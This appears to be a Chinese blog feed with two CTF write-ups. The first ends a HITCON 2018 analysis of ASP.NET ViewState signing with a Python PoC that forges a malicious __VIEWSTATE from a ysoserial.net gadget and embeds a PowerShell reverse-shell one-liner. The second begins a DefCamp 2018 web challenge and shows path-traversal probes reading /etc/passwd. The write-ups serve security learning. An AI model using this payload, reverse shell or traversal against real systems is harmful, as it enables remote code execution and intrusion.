<p>&#x7E7C;&#x7E8C;&#x8DDF;&#x9032; <code>MachineKeySection.GetEncodedData(byte[] buf, byte[] modifier, int start, ref int length)</code>&#x3002;&#x7B2C; 800 &#x884C;&#x900F;&#x904E; <code>HashData</code> &#x51FD;&#x5F0F;&#x53D6;&#x5F97;&#x4E00;&#x500B; Hash &#x503C;&#xFF0C;&#x7B2C; 803 ~ 815 &#x884C;&#x5247;&#x6703;&#x5C07;&#x9019;&#x500B; Hash &#x503C;&#x9644;&#x52A0;&#x5230;&#x539F;&#x672C; Buffer &#x7684;&#x5C3E;&#x90E8;&#x3002;&#x4F46;&#x662F;&#x9019;&#x908A;&#x7684; <code>HashData</code> &#x9700;&#x8981;&#x7684;&#x53C3;&#x6578;&#x9664;&#x4E86;&#x539F; buf &#x4EE5;&#x5916;&#x9084;&#x591A;&#x4E00;&#x500B; modifier&#xFF0C;&#x4E0D;&#x904E;&#x5148;&#x4E0D;&#x7528;&#x6025;&#x8457;&#x627E; modifier &#x5B9A;&#x7FA9;&#x7684;&#x4F4D;&#x7F6E;&#xFF0C;&#x8B93;&#x6211;&#x5011;&#x5148;&#x8DDF;&#x9032; <code>MachineKeySection.HashData(byte[] buf, byte[] modifier, int start, int length)</code>&#x3002;</p>
<pre><code class="language-csharp">File: ndp\fx\src\xsp\system\Web\Configuration\MachineKeySection.cs
791: // NOTE: When encoding the data, this method *may* return the same reference to the input &quot;buf&quot; parameter
792: // with the hash appended in the end if there&apos;s enough space.  The &quot;length&quot; parameter would also be
793: // appropriately adjusted in those cases.  This is an optimization to prevent unnecessary copying of
794: // buffers.
795: [Obsolete(OBSOLETE_CRYPTO_API_MESSAGE)]
796: internal static byte[] GetEncodedData(byte[] buf, byte[] modifier, int start, ref int length)
797: {
798:     EnsureConfig();
799: 
800:     byte[] bHash = HashData(buf, modifier, start, length);
801:     byte[] returnBuffer;
802: 
803:     if (buf.Length - start - length &gt;= bHash.Length)
804:     {
805:         // Append hash to end of buffer if there&apos;s space
806:         Buffer.BlockCopy(bHash, 0, buf, start + length, bHash.Length);
807:         returnBuffer = buf;
808:     }
809:     else
810:     {
811:         returnBuffer = new byte[length + bHash.Length];
812:         Buffer.BlockCopy(buf, start, returnBuffer, 0, length);
813:         Buffer.BlockCopy(bHash, 0, returnBuffer, length, bHash.Length);
814:         start = 0;
815:     }
816:     length += bHash.Length;
817: 
818:     if (s_config.Validation == MachineKeyValidation.TripleDES || s_config.Validation == MachineKeyValidation.AES) {
819:         returnBuffer = EncryptOrDecryptData(true, returnBuffer, modifier, start, length, true);
820:         length = returnBuffer.Length;
821:     }
822:     return returnBuffer;
823: }
</code></pre>
<p>&#x7B2C; 857 &#x884C;&#x5224;&#x65B7;&#x5982;&#x679C; config &#x88E1;&#x7684; Machine Key &#x8A2D;&#x5B9A; Validation &#x662F; MD5&#xFF0C;&#x5247;&#x547C;&#x53EB; <code>HashDataUsingNonKeyedAlgorithm(null, buf, modifier, start, length, s_validationKey)</code>&#xFF0C;&#x6839;&#x64DA;&#x5148;&#x524D; SSI &#x6240;&#x5F97;&#x5230;&#x7684; web.config&#xFF0C;&#x7A0B;&#x5F0F;&#x61C9;&#x8A72;&#x6703;&#x9032;&#x5165;&#x9019;&#x4E00;&#x6BB5;&#x6D41;&#x7A0B;&#x4E2D;&#xFF0C;&#x7E7C;&#x7E8C;&#x8DDF;&#x9032; <code>MachineKeySection.HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier, int start, int length, byte[] validationKey)</code>&#x3002;</p>
<pre><code class="language-csharp">File: ndp\fx\src\xsp\system\Web\Configuration\MachineKeySection.cs
852: [Obsolete(OBSOLETE_CRYPTO_API_MESSAGE)]
853: internal static byte[] HashData(byte[] buf, byte[] modifier, int start, int length)
854: {
855:     EnsureConfig();
856: 
857:     if (s_config.Validation == MachineKeyValidation.MD5)
858:         return HashDataUsingNonKeyedAlgorithm(null, buf, modifier, start, length, s_validationKey);
859:     if (_UseHMACSHA) {
860:         byte [] hash = GetHMACSHA1Hash(buf, modifier, start, length);
861:         if (hash != null)
862:             return hash;
863:     }
864:     if (_CustomValidationTypeIsKeyed) {
865:         return HashDataUsingKeyedAlgorithm(KeyedHashAlgorithm.Create(_CustomValidationName),
866:                                             buf, modifier, start, length, s_validationKey);
867:     } else {
868:         return HashDataUsingNonKeyedAlgorithm(HashAlgorithm.Create(_CustomValidationName),
869:                                                 buf, modifier, start, length, s_validationKey);
870:     }
871: }
</code></pre>
<p>&#x7B2C; 1219 &#x884C;&#x4F9D;&#x64DA;&#x539F; buf &#x9577;&#x5EA6;&#x52A0;&#x4E0A; validationKey &#x9577;&#x5EA6;&#x548C; modifier &#x9577;&#x5EA6;&#x5F97;&#x5230; totalLength&#xFF0C;&#x4E26;&#x5206;&#x914D;&#x4E00;&#x500B;&#x9577;&#x5EA6;&#x70BA; totalLength &#x7684; <code>byte[]</code> &#x9663;&#x5217; bAll&#xFF0C;&#x7B2C; 1222 &#x884C;&#x5148;&#x5C07;&#x539F; Buffer &#x8907;&#x88FD;&#x5230; bAll &#x5F9E;&#x4F4D;&#x7F6E; 0 &#x958B;&#x59CB;&#x653E;&#x7F6E;&#xFF0C;&#x7B2C; 1224 &#x884C;&#x6703;&#x5C07; modifier &#x8907;&#x88FD;&#x5230; bAll &#x5F9E;&#x4F4D;&#x7F6E; length &#x958B;&#x59CB;&#x653E;&#x7F6E;&#xFF0C;&#x9019;&#x908A;&#x795E;&#x5947;&#x7684;&#x4E8B;&#x60C5;&#x5C31;&#x767C;&#x751F;&#x4E86;&#xFF0C;&#x7B2C; 1226 &#x884C;&#x5C07; validationKey &#x8907;&#x88FD;&#x5230; bAll &#x6642;&#x5C45;&#x7136;&#x53C8;&#x662F;&#x5F9E;&#x4F4D;&#x7F6E; length &#x958B;&#x59CB;&#x653E;&#x7F6E;&#xFF0C;&#x63DB;&#x53E5;&#x8A71;&#x8AAA;&#xFF0C;&#x5982;&#x679C; validationKey &#x9577;&#x5EA6;&#x5927;&#x65BC;&#x7B49;&#x65BC; modifier &#x9577;&#x5EA6;&#x7684;&#x8A71;&#xFF0C;validationKey &#x5C07;&#x6703;&#x5B8C;&#x6574;&#x628A; modifier &#x8986;&#x84CB;&#x904E;&#x53BB;&#x3002;&#x800C; modifier &#x53D6;&#x5F97;&#x7684;&#x5730;&#x65B9;&#x662F;&#x5728;&#x6700;&#x521D; <code>ObjectStateFormatter.Serialize(object stateGraph, Purpose purpose)</code> &#x7684;&#x7B2C; 800 &#x884C;&#x547C;&#x53EB;&#x7684; <code>GetMacKeyModifier()</code> &#x51FD;&#x5F0F;&#xFF0C;&#x9577;&#x5EA6;&#x56FA;&#x5B9A;&#x6703;&#x56DE;&#x50B3; 4 bytes&#xFF0C;&#x986F;&#x7136;&#x9019;&#x9053;&#x984C;&#x76EE;&#x7684; validationKey &#x662F;&#x8DB3;&#x5920;&#x9577;&#x5230;&#x80FD;&#x8986;&#x84CB;&#x5B83;&#x3002;&#x7E7C;&#x7E8C;&#x5F80;&#x4E0B;&#x770B;&#x5230;&#x7B2C; 1231 &#x884C;&#xFF0C;&#x547C;&#x53EB; <code>UnsafeNativeMethods.GetSHA1Hash</code> &#x50B3;&#x5165; bAll &#x7372;&#x5F97;&#x6700;&#x7D42;&#x7684; MAC Hash &#x503C;&#xFF0C;&#x4F46;&#x53EF;&#x60DC;&#x9019;&#x500B;&#x51FD;&#x5F0F;&#x662F; Native&#xFF0C;&#x6240;&#x4EE5;&#x6C92;&#x6709;&#x4E7E;&#x6DE8;&#x7684; Source Code&#xFF0C;&#x7D93;&#x904E;&#x5E7E;&#x6B21;&#x7C21;&#x55AE;&#x9ED1;&#x7BB1;&#x5617;&#x8A66;&#x6703;&#x767C;&#x73FE;&#xFF0C;&#x9019;&#x500B;&#x51FD;&#x5F0F;&#x96D6;&#x7136;&#x540D;&#x70BA; <code>GetSHA1Hash</code>&#xFF0C;&#x4F46;&#x5176;&#x5BE6;&#x662F;&#x969C;&#x773C;&#x6CD5;&#xFF0C;&#x5B83;&#x4E26;&#x4E0D;&#x53EA;&#x6703;&#x56DE;&#x50B3; SHA1 Hash&#xFF0C;&#x5728;&#x6B64;&#x8655;&#x5B83;&#x9084;&#x6703;&#x56DE;&#x50B3; MD5 &#x7684; Hash &#x503C;&#x3002;</p>
<pre><code class="language-csharp">File: ndp\fx\src\xsp\system\Web\Configuration\MachineKeySection.cs
1216: private static byte[] HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier,
1217:                                                         int start, int length, byte[] validationKey)
1218: {
1219:     int     totalLength = length + validationKey.Length + ((modifier != null) ? modifier.Length : 0);
1220:     byte [] bAll        = new byte[totalLength];
1221: 
1222:     Buffer.BlockCopy(buf, start, bAll, 0, length);
1223:     if (modifier != null) {
1224:         Buffer.BlockCopy(modifier, 0, bAll, length, modifier.Length);
1225:     }
1226:     Buffer.BlockCopy(validationKey, 0, bAll, length, validationKey.Length);
1227:     if (hashAlgo != null) {
1228:         return hashAlgo.ComputeHash(bAll);
1229:     } else {
1230:         byte[] newHash = new byte[MD5_HASH_SIZE];
1231:         int hr = UnsafeNativeMethods.GetSHA1Hash(bAll, bAll.Length, newHash, newHash.Length);
1232:         Marshal.ThrowExceptionForHR(hr);
1233:         return newHash;
1234:     }
1235: }
</code></pre>
<p>&#x7E3D;&#x7D50;&#x4E00;&#x4E0B; <code>__VIEWSTATE</code> &#x7684;&#x6D41;&#x7A0B;&#xFF0C;&#x5148;&#x5C07;&#x7269;&#x4EF6; Serialize &#x6210;&#x4E00;&#x4E32; Binary &#x8CC7;&#x6599;&#xFF0C;&#x5C07;&#x9019;&#x4E32; Serialized Binary Data &#x5C3E;&#x5DF4;&#x9644;&#x52A0;&#x4E0A; Validation Key &#x548C; modifier &#x7684; Binary &#x8CC7;&#x6599;&#xFF0C;&#x4F46;&#x56E0;&#x70BA; modifier &#x6703;&#x88AB; Validation Key &#x8986;&#x84CB;&#xFF0C;&#x6240;&#x4EE5;&#x5BE6;&#x969B;&#x4E0A;&#x662F; Serialized Binary Data &#x52A0; Validation Key Binary &#x52A0; <code>0x00000000</code> (modifier &#x88AB;&#x8986;&#x84CB;&#x4F46; 4 bytes &#x7A7A;&#x9593;&#x9084;&#x5728;&#xFF0C;&#x9810;&#x8A2D;&#x90FD;&#x662F; 0)&#x3002;&#x6700;&#x5F8C;&#x4F9D;&#x64DA;&#x9019;&#x4E32; Binary &#x4F5C; MD5 &#x62FF;&#x5230; MAC Hash&#xFF0C;&#x628A; MAC Hash &#x6DFB;&#x52A0;&#x5230;&#x6700;&#x521D;&#x7684; Serialized Binary Data &#x4F5C; Base64 Encode&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x5F97;&#x5230;&#x7C3D;&#x7AE0;&#x904E;&#x5408;&#x6CD5;&#x7684; <code>__VIEWSTATE</code>&#xFF01;</p>
<p>&#x7C21;&#x55AE;&#x8868;&#x793A;&#x7B97;&#x6CD5;&#x5982;&#x4E0B;&#xFF1A;</p>
<pre><code>MAC_HASH = MD5(serialized_data_binary + validation_key + 0x00000000 )
VIEWSATE = Base64_Encode(serialized_data_binary + MAC_HASH)
</code></pre>
<p>&#x6700;&#x5F8C;&#x5F97;&#x51FA;&#x7684; PoC&#xFF1A;</p>
<pre><code class="language-python">#!/usr/bin/env python3
import hashlib
import base64


&apos;&apos;&apos;
Generate PowerShell reverse shell command
&gt; powershell &quot;[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes(&apos;$c=New-Object Net.Sockets.TCPClient(&apos;&apos;127.0.0.1&apos;&apos;,6666);$s=$c.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$s.Read($bytes, 0, $bytes.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sb=(iex $d 2&gt;&amp;1 | Out-String );$sb2=$sb+&apos;&apos;PS &apos;&apos;+(pwd).Path+&apos;&apos;&gt; &apos;&apos;;$sb=([Text.Encoding]::Default).GetBytes($sb2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()&apos;))&quot;

Generate deserialization gadget by ysoserial.net
https://github.com/pwntester/ysoserial.net
&gt; ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c &quot;powershell -nop -enc {reverse shell command}&quot;
&apos;&apos;&apos;
serialized_data = &apos;{base64 encoded serialized data from ysoserial}&apos;
payload = base64.b64decode(serialized_data)

# Get machine key by uploading .shtml file (Server Side Include)
validation_key = bytes.fromhex(&apos;b07b0f97365416288cf0247cffdf135d25f6be87&apos;)

&apos;&apos;&apos;
MAC_Hash = MD5(serialized_data_binary + validation_key + 0x00000000 )

Simple stack trace to get MAC Hash:
System.Web.UI.ObjectStateFormatter.Serialize(object stateGraph, Purpose purpose)
    MachineKeySection.GetEncodedData(byte[] buf, byte[] modifier, int start, ref int length)
        MachineKeySection.HashData(byte[] buf, byte[] modifier, int start, int length)
            HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier, int start, int length, byte[] validationKey)
                UnsafeNativeMethods.GetSHA1Hash(byte[] data, int dataSize, byte[] hash, int hashSize);
&apos;&apos;&apos;
mac = hashlib.md5(payload + validation_key + b&apos;\x00\x00\x00\x00&apos;).digest()
payload = base64.b64encode(payload + mac).decode()
print(payload)
</code></pre>
<p>&#x8B93;&#x6211;&#x5011;&#x7ACB;&#x523B;&#x9001;&#x9001;&#x770B; Payload&#xFF0C;&#x767C;&#x73FE;&#x8DF3;&#x51FA;&#x4E0D;&#x4E00;&#x6A23;&#x7684;&#x932F;&#x8AA4;&#x8A0A;&#x606F;&#xFF01;<br>
<img src="https://cyku.tw/content/images/2018/10/hitcon_ctf_2018_why_so_serials_05.png" alt="hitcon_ctf_2018_why_so_serials_05" loading="lazy"></p>
<p>&#x6210;&#x529F;&#x6536;&#x5230; Reverse Shell &#x7684;&#x9023;&#x7DDA;&#xFF0C;&#x4E26;&#x5728; <code>C:\this_1s_the_FL@g.txt</code> &#x627E;&#x5230; FLAG &#x662F; <code>hitcon{c0ngratulati0ns! you are .net king!}</code>&#xFF01;<br>
<img src="https://cyku.tw/content/images/2018/10/hitcon_ctf_2018_why_so_serials_06.png" alt="hitcon_ctf_2018_why_so_serials_06" loading="lazy"></p>
<h3 id="references">References:</h3>
<ul>
<li><a href="https://github.com/pwntester/ysoserial.net">ysoserial.net</a></li>
<li><a href="https://blog.scrt.ch/2016/05/12/net-serialiception/">.NET serialiception</a></li>
<li><a href="https://msdn.microsoft.com/en-us/library/ms972976.aspx">Understanding ASP.NET View State</a></li>
<li><a href="https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection">OWASP - Server-Side Includes (SSI) Injection</a></li>
<li><a href="https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf">BlackHat - Friday the 13th: JSON Attacks by Alvaro Mu&#xF1;oz and Oleksandr Mirosh</a></li>
<li><a href="https://referencesource.microsoft.com/">Microsoft - .NET Framework Reference Source</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[DefCamp CTF Qualification 2018: Vulture Write-up]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>Vulture &#x662F;&#x4E00;&#x9053;&#x51FA;&#x73FE;&#x5728; DefCamp CTF Qualification 2018 &#x5C6C;&#x65BC; Web &#x985E;&#x578B;&#x7684;&#x984C;&#x76EE;&#x3002;&#x9019;&#x984C;&#x5F88;&#x6709;&#x8DA3;&#xFF0C;&#x96D6;&#x7136;&#x662F;&#x9ED1;&#x7BB1;&#x4F46;&#x4E0D;&#x7528;&#x901A;&#x9748;&#x3001;&#x731C;&#x8B0E;&#xFF0C;&#x6574;&#x9053;&#x984C;&#x53EF;&#x4EE5;&#x900F;&#x904E;&#x5404;&#x7A2E;&#x86DB;</p>]]></description><link>https://cyku.tw/ctf-defcamp-qualification-2018/</link><guid isPermaLink="false">628fa3d67bed5b4c6d9f340a</guid><category><![CDATA[CTF]]></category><category><![CDATA[Web Security]]></category><dc:creator><![CDATA[Cyku]]></dc:creator><pubDate>Mon, 24 Sep 2018 08:31:30 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>Vulture &#x662F;&#x4E00;&#x9053;&#x51FA;&#x73FE;&#x5728; DefCamp CTF Qualification 2018 &#x5C6C;&#x65BC; Web &#x985E;&#x578B;&#x7684;&#x984C;&#x76EE;&#x3002;&#x9019;&#x984C;&#x5F88;&#x6709;&#x8DA3;&#xFF0C;&#x96D6;&#x7136;&#x662F;&#x9ED1;&#x7BB1;&#x4F46;&#x4E0D;&#x7528;&#x901A;&#x9748;&#x3001;&#x731C;&#x8B0E;&#xFF0C;&#x6574;&#x9053;&#x984C;&#x53EF;&#x4EE5;&#x900F;&#x904E;&#x5404;&#x7A2E;&#x86DB;&#x7D72;&#x99AC;&#x8DE1;&#x6709;&#x908F;&#x8F2F;&#x6027;&#x5730;&#x63A8;&#x6572;&#x4E26;&#x4E32;&#x51FA;&#x5B8C;&#x6574;&#x6F0F;&#x6D1E;&#x5229;&#x7528;&#x4F86;&#x89E3;&#x984C;&#x3002;</p>
<p>&#x984C;&#x76EE;&#x6558;&#x8FF0;&#x5982;&#x4E0B;&#xFF1A;</p>
<pre><code>We created an online service where you can upload pictures of vultures (or other birds). Each user has a feed so you can privately enjoy the photos you took of this majestic killing machines :) 
Target: https://vulture.dctfq18.def.camp/
Author: Anatol
</code></pre>
<p>&#x9EDE;&#x9032;&#x7DB2;&#x9801;&#x5F8C;&#xFF0C;&#x53F3;&#x4E0A;&#x65B9;&#x53EF;&#x4EE5;&#x767C;&#x73FE;&#x6709;&#x500B; Login &#x6309;&#x9215;&#xFF0C;&#x4F46;&#x6C92;&#x6709; Register &#x6309;&#x9215;&#xFF0C;&#x9EDE; Login &#x9032;&#x5165;&#x5230;&#x767B;&#x5165;&#x8868;&#x55AE;&#x7684;&#x9801;&#x9762;&#x6642;&#x6CE8;&#x610F;&#x5230;&#x7DB2;&#x5740;&#x662F; /auth/login&#xFF0C;&#x90A3;&#x76F4;&#x63A5;&#x4FEE;&#x6539;&#x6210; /auth/register &#x5C31;&#x6703;&#x8DF3;&#x51FA;&#x8A3B;&#x518A;&#x8868;&#x55AE;&#x4E86;&#x3002;</p>
<ul>
<li>&#x767B;&#x5165;&#xFF1A;<a href="https://vulture.dctfq18.def.camp/auth/login">https://vulture.dctfq18.def.camp/auth/login</a></li>
<li>&#x8A3B;&#x518A;&#xFF1A;<a href="https://vulture.dctfq18.def.camp/auth/register">https://vulture.dctfq18.def.camp/auth/register</a></li>
</ul>
<p>&#x767B;&#x5165;&#x5F8C;&#x767C;&#x73FE;&#x670D;&#x52D9;&#x5C31;&#x5982;&#x6558;&#x8FF0;&#x822C;&#x55AE;&#x7D14;&#xFF0C;&#x53EF;&#x4EE5;&#x4E0A;&#x50B3;&#x5716;&#x7247;&#x52A0;&#x7C21;&#x55AE;&#x6587;&#x5B57;&#x6558;&#x8FF0;&#xFF0C;&#x4E0A;&#x50B3;&#x5F8C;&#x7684;&#x5716;&#x7247;&#x90FD;&#x6703;&#x88AB;&#x689D;&#x5217;&#x5728; /feed &#x9801;&#x9762;&#x4E0A;&#x3002;</p>
<p><img src="https://cyku.tw/content/images/2018/09/defcamp_ctf_2018_vulture_01.png" alt="defcamp_ctf_2018_vulture_01" loading="lazy"></p>
<p>&#x6700;&#x521D;&#x7576;&#x7136;&#x662F;&#x8981;&#x5C0D;&#x670D;&#x52D9;&#x9032;&#x884C;&#x4E00;&#x4E9B;&#x8CC7;&#x8A0A;&#x6536;&#x96C6;&#xFF0C;&#x904E;&#x7A0B;&#x4E2D;&#x767C;&#x73FE;&#x4E00;&#x500B;&#x6709;&#x8DA3;&#x7684;&#x73FE;&#x8C61;&#xFF0C;&#x7576;&#x8ACB;&#x6C42;&#x4E0D;&#x5B58;&#x5728;&#x7684;&#x8DEF;&#x5F91;(&#x4F8B;&#x5982;&#xFF1A;/asd)&#x6642;&#xFF0C;&#x4F3A;&#x670D;&#x5668;&#x6703;&#x6709;&#x5982;&#x4EE5;&#x4E0B;&#x7684;&#x53CD;&#x61C9;&#xFF1A;</p>
<pre><code>GET /asd HTTP/1.1
Host: vulture.dctfq18.def.camp
</code></pre>
<pre><code>HTTP/1.1 200 OK
Date: Mon, 24 Sep 2018 06:48:23 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 55
Connection: keep-alive
Server: CoffeeHackingMachine 13.37
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff

Exception: AsdController handler class cannot be loaded
</code></pre>
<p>&#x6240;&#x4EE5;&#x4E0A;&#x9762;&#x7684; Exception &#x8CC7;&#x8A0A;&#x900F;&#x9732;&#x51FA;&#x751A;&#x9EBC;&#xFF1F;&#x5982;&#x679C;&#x5C07;&#x90A3;&#x4E32; Exception &#x8A0A;&#x606F;&#x4E1F;&#x4E0A; Google Search &#x53EF;&#x4EE5;&#x767C;&#x73FE;&#xFF0C;&#x9019;&#x500B;&#x8A0A;&#x606F;&#x662F;&#x56E0;&#x70BA;&#x4E00;&#x5957;&#x540D;&#x70BA; <a href="https://en.wikipedia.org/wiki/Phalcon_(framework)">Phalcon</a> &#x7684; PHP framework &#x627E;&#x4E0D;&#x5230;&#x76F8;&#x5C0D;&#x61C9;&#x8CA0;&#x8CAC;&#x8655;&#x7406;&#x8A72;&#x8DEF;&#x5F91;&#x8ACB;&#x6C42;&#x7684; class &#x6240;&#x5674;&#x51FA;&#x4F86;&#x7684;&#x932F;&#x8AA4;&#xFF0C;&#x6240;&#x4EE5;&#x8868;&#x793A;&#x9019;&#x500B;&#x7DB2;&#x7AD9;&#x61C9;&#x8A72;&#x5C31;&#x662F;&#x7531; Phalcon &#x64B0;&#x5BEB;&#x800C;&#x6210;&#x3002;</p>
<p>&#x9996;&#x5148;&#x5C0D;&#x4E0A;&#x50B3;&#x5716;&#x7247;&#x7684;&#x90E8;&#x5206;&#x9032;&#x884C;&#x4E00;&#x4E9B; fuzz&#xFF0C;&#x4E0A;&#x50B3;&#x7684;&#x6D41;&#x7A0B;&#x662F;&#x7D93;&#x904E; POST /feed/upload &#x5C07;&#x5716;&#x7247;&#x4E0A;&#x50B3;&#x81F3;&#x4F3A;&#x670D;&#x5668;&#x4E0A;&#xFF0C;&#x4F3A;&#x670D;&#x5668;&#x518D;&#x56DE;&#x50B3;&#x6A94;&#x6848;&#x7684;&#x7DB2;&#x5740;&#x8DEF;&#x5F91;&#xFF0C;&#x7D50;&#x679C;&#x662F;&#x611F;&#x89BA;&#x6A5F;&#x6703;&#x4E0D;&#x5927;&#xFF0C;&#x56E0;&#x70BA;&#x6703;&#x5148;&#x56B4;&#x683C;&#x6AA2;&#x67E5;&#x526F;&#x6A94;&#x540D;&#xFF0C;&#x53D6;&#x526F;&#x6A94;&#x540D;&#x5F8C;&#x52A0;&#x4E0A;&#x6D41;&#x6C34;&#x865F;&#x7684;&#x4E3B;&#x6A94;&#x540D;&#x4F5C;&#x70BA;&#x4E0A;&#x50B3;&#x5F8C;&#x7684;&#x5B8C;&#x6574;&#x6A94;&#x540D;&#xFF0C;&#x4E26;&#x4E14;&#x9084;&#x6703;&#x6AA2;&#x67E5;&#x4E8C;&#x9032;&#x5236;&#x5167;&#x5BB9;&#x662F;&#x5426;&#x6709;&#x4EE5;&#x5141;&#x8A31;&#x7684;&#x4EFB;&#x4E00;&#x7A2E;&#x5716;&#x7247;&#x985E;&#x578B;&#x7684; Magic Number &#x958B;&#x982D;&#xFF0C;&#x8B6C;&#x5982; GIF &#x7684; GIF87a &#x5C31;&#x662F;&#x767D;&#x540D;&#x55AE;&#x4E4B;&#x4E00;&#x3002;</p>
<p>&#x9019;&#x5C31;&#x662F;&#x4E00;&#x500B;&#x4E0A;&#x50B3;&#x6210;&#x529F;&#x7684;&#x5716;&#x7247;&#x7DB2;&#x5740;&#xFF1A;<br>
<a href="https://vulture.dctfq18.def.camp/uploads/5ba7c28447e19.png">https://vulture.dctfq18.def.camp/uploads/5ba7c28447e19.png</a></p>
<p>&#x63A5;&#x8457;&#x5C0D; /feed &#x65B0;&#x589E;&#x7684;&#x90E8;&#x5206;&#x958B;&#x59CB;&#x4F5C; fuzz&#xFF0C;&#x56E0;&#x70BA;&#x984C;&#x76EE;&#x6558;&#x8FF0;&#x4E2D;&#x6709;&#x63D0;&#x53CA;&#x300C;you can <strong>privately</strong> enjoy the photos&#x300D;&#xFF0C;&#x96D6;&#x7136;&#x8AAA;&#x660E;&#x662F; privately&#xFF0C;&#x4F46;&#x96E3;&#x4EE5;&#x4FDD;&#x8B49;&#x4E0D;&#x6703;&#x6709;&#x5C0F;&#x7CBE;&#x9748;&#x5728;&#x5077;&#x770B;&#x4F60;&#x4E0A;&#x50B3;&#x7684;&#x6240;&#x6709;&#x5716;&#x7247;&#xFF0C;&#x65BC;&#x662F;&#x6211;&#x5C31;&#x9806;&#x624B;&#x6E2C;&#x8A66;&#x4E00;&#x4E0B;&#x662F;&#x5426;&#x6709; XSS &#x7684;&#x53EF;&#x80FD;&#x6027;&#x3002;</p>
<p>&#x5C0D; /feed &#x65B0;&#x589E;&#x7684; API &#x8ACB;&#x6C42;&#x5982;&#x4E0B;&#xFF1A;</p>
<pre><code>POST /feed HTTP/1.1
Host: vulture.dctfq18.def.camp
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Cookie: PHPSESSID=bips9g67d33adc7ptrur9f03e2

image=uploads/5ba7c28447e19.png&amp;text=description
</code></pre>
<p>&#x6E2C;&#x8A66;&#x7D50;&#x679C;&#x662F;&#x904E;&#x6FFE;&#x5F97;&#x5F88;&#x597D;&#xFF0C;&#x61C9;&#x8A72;&#x662F;&#x4E0D;&#x6703;&#x6709;&#x8981;&#x6253; XSS &#x7684;&#x53EF;&#x80FD;&#x6027;&#x3002;&#x9664;&#x4E86;&#x6392;&#x9664;&#x6389;&#x4E00;&#x500B;&#x601D;&#x8003;&#x65B9;&#x5411;&#x4EE5;&#x5916;&#xFF0C;&#x9084;&#x767C;&#x73FE;&#x4E00;&#x500B;&#x6709;&#x8DA3;&#x7684;&#x7279;&#x6027;&#xFF0C;&#x5047;&#x5982; image &#x7D66;&#x4E00;&#x500B;&#x4E0D;&#x5B58;&#x5728;&#x7684;&#x5716;&#x7247;&#x8DEF;&#x5F91;&#xFF0C;&#x767C;&#x51FA; POST &#x8ACB;&#x6C42;&#x5F8C;&#x56DE;&#x5230; /feed &#x9801;&#x9762;&#x6703;&#x591A;&#x51FA;&#x4E00;&#x500B;&#x63D0;&#x793A;&#x8A0A;&#x606F;&#xFF1A;</p>
<pre><code>&lt;div class=&quot;alert alert-danger&quot; role=&quot;alert&quot;&gt;
    Image not found
&lt;/div&gt;
</code></pre>
<p>&#x6839;&#x64DA;&#x9019;&#x500B;&#x8A0A;&#x606F;&#xFF0C;&#x76F4;&#x89BA;&#x8A8D;&#x70BA;&#x7E7C;&#x7E8C;&#x5728; image &#x53C3;&#x6578;&#x6316;&#x6398;&#x4E0B;&#x53BB;&#x61C9;&#x8A72;&#x6709;&#x5F88;&#x5927;&#x7684;&#x6A5F;&#x6703;&#xFF0C;&#x6240;&#x4EE5;&#x5C31;&#x7E7C;&#x7E8C;&#x91DD;&#x5C0D;&#x9019;&#x500B;&#x53C3;&#x6578;&#x4F5C;&#x4E86;&#x4E00;&#x9023;&#x4E32; fuzz&#xFF0C;&#x767C;&#x73FE;&#x6709;&#x4E00;&#x4E0B;&#x5E7E;&#x7A2E;&#x95DC;&#x9375;&#x7684;&#x53CD;&#x61C9;&#xFF1A;</p>
<table>
<thead>
<tr>
<th>image</th>
<th>&#x65B0;&#x589E;&#x6210;&#x529F;/&#x5931;&#x6557;</th>
</tr>
</thead>
<tbody>
<tr>
<td>./uploads/5ba7c28447e19.png</td>
<td><strong><font color="green">&#x6210;&#x529F;</font></strong></td>
</tr>
<tr>
<td>../uploads/5ba7c28447e19.png</td>
<td><strong><font color="red">&#x5931;&#x6557;</font></strong></td>
</tr>
<tr>
<td>uploads/./5ba7c28447e19.png</td>
<td><strong><font color="green">&#x6210;&#x529F;</font></strong></td>
</tr>
<tr>
<td>uploads/../5ba7c28447e19.png</td>
<td><strong><font color="red">&#x5931;&#x6557;</font></strong></td>
</tr>
<tr>
<td>uploads/5ba7c28447e19.png#sasad</td>
<td><strong><font color="red">&#x5931;&#x6557;</font></strong></td>
</tr>
<tr>
<td>uploads/aaaa/../5ba7c28447e19.png</td>
<td><strong><font color="red">&#x5931;&#x6557;</font></strong></td>
</tr>
<tr>
<td>../../../../../../etc/passwd</td>
<td><strong><font color="green">&#x6210;&#x529F;</font></strong></td>
</tr>
<tr>
<td><a href="https://vulture.dctfq18.def.camp/uploads/5ba7c28447e19.png">https://vulture.dctfq18.def.camp/uploads/5ba7c28447e19.png</a></td>
<td><strong><font color="red">&#x5931;&#x6557;</font></strong></td>
</tr>
<tr>
<td>file:///etc/passwd</td>
<td><strong><font color="red">&#x5931;&#x6557;</font></strong></td>
</tr>
</tbody>
</table>
